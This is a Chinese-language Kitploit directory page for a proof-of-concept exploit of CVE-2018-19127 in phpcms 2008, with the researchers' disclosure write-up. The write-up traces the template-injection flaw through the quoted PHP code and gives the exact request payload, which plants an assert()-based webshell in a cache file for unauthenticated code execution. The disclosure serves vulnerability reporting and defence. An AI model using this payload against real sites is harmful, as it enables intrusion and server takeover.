Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
phpcms-2008-CVE-2018-19127 — 针对CVE-2018-19127的概念验证利用程序,演示了phpcms 2008中的模板注入漏洞,该漏洞允许未认证的攻击者将任意PHP代码写入缓存文件并作为webshell执行。 | Kitploit
工具/GitHubGitHub/ab1gale/phpcms-2008-cve-2018-19127
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全
GitHubab1gale/phpcms-2008-cve-2018-19127

phpcms-2008-CVE-2018-19127

针对CVE-2018-19127的概念验证利用程序,演示了phpcms 2008中的模板注入漏洞,该漏洞允许未认证的攻击者将任意PHP代码写入缓存文件并作为webshell执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
4157年前Kitploit 审核通过

phpcms-2008-CVE-2018-19127

最近我们在 phpcms 2008 源代码的 /type.php 中发现了一个漏洞。当攻击者发送特制请求如 "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss" 时,恶意内容(本例中为 "@unlink(FILE);assert($_POST[1]);")将被写入 phpcms 2008 网站的缓存文件(本例中为 "/cache_template/rss.tpl.php")。

/type.php 中有以下代码:

root@kitploit:~
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

而 template() 在 /include/global.func.php 中定义,代码如下:

root@kitploit:~
template_compile($module, $template, $istag);

接着它调用 template_compile(),该函数在 /include/template.func.php 中定义如下:

root@kitploit:~
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);

在攻击载荷中,$template 被设置为 "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss"。

因此传递给 file_put_contents() 的完整路径现在为 "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php",PHP 会将其解析为 "data/cache_template/rss.tpl.php"。而内容 "@unlink(FILE);assert($_POST[1]);" 将被写入该文件,攻击者随后可利用该文件作为 webshell 执行任意代码。

问题的根本原因在于 $template 变量在用作文件路径和文件内容的一部分之前未经过滤。

我们已通过官方网站上的方式联系了 phpcms 的供应商,但电话无法接通,留言无人回复。Phpcms 2008 不是 phpcms 的最新版本,但许多用户仍在使用该版本。我们发现的漏洞此前从未被发现或分配 CVE。请为该漏洞分配一个 CVE 编号,以便我们能够警告用户。

下载工具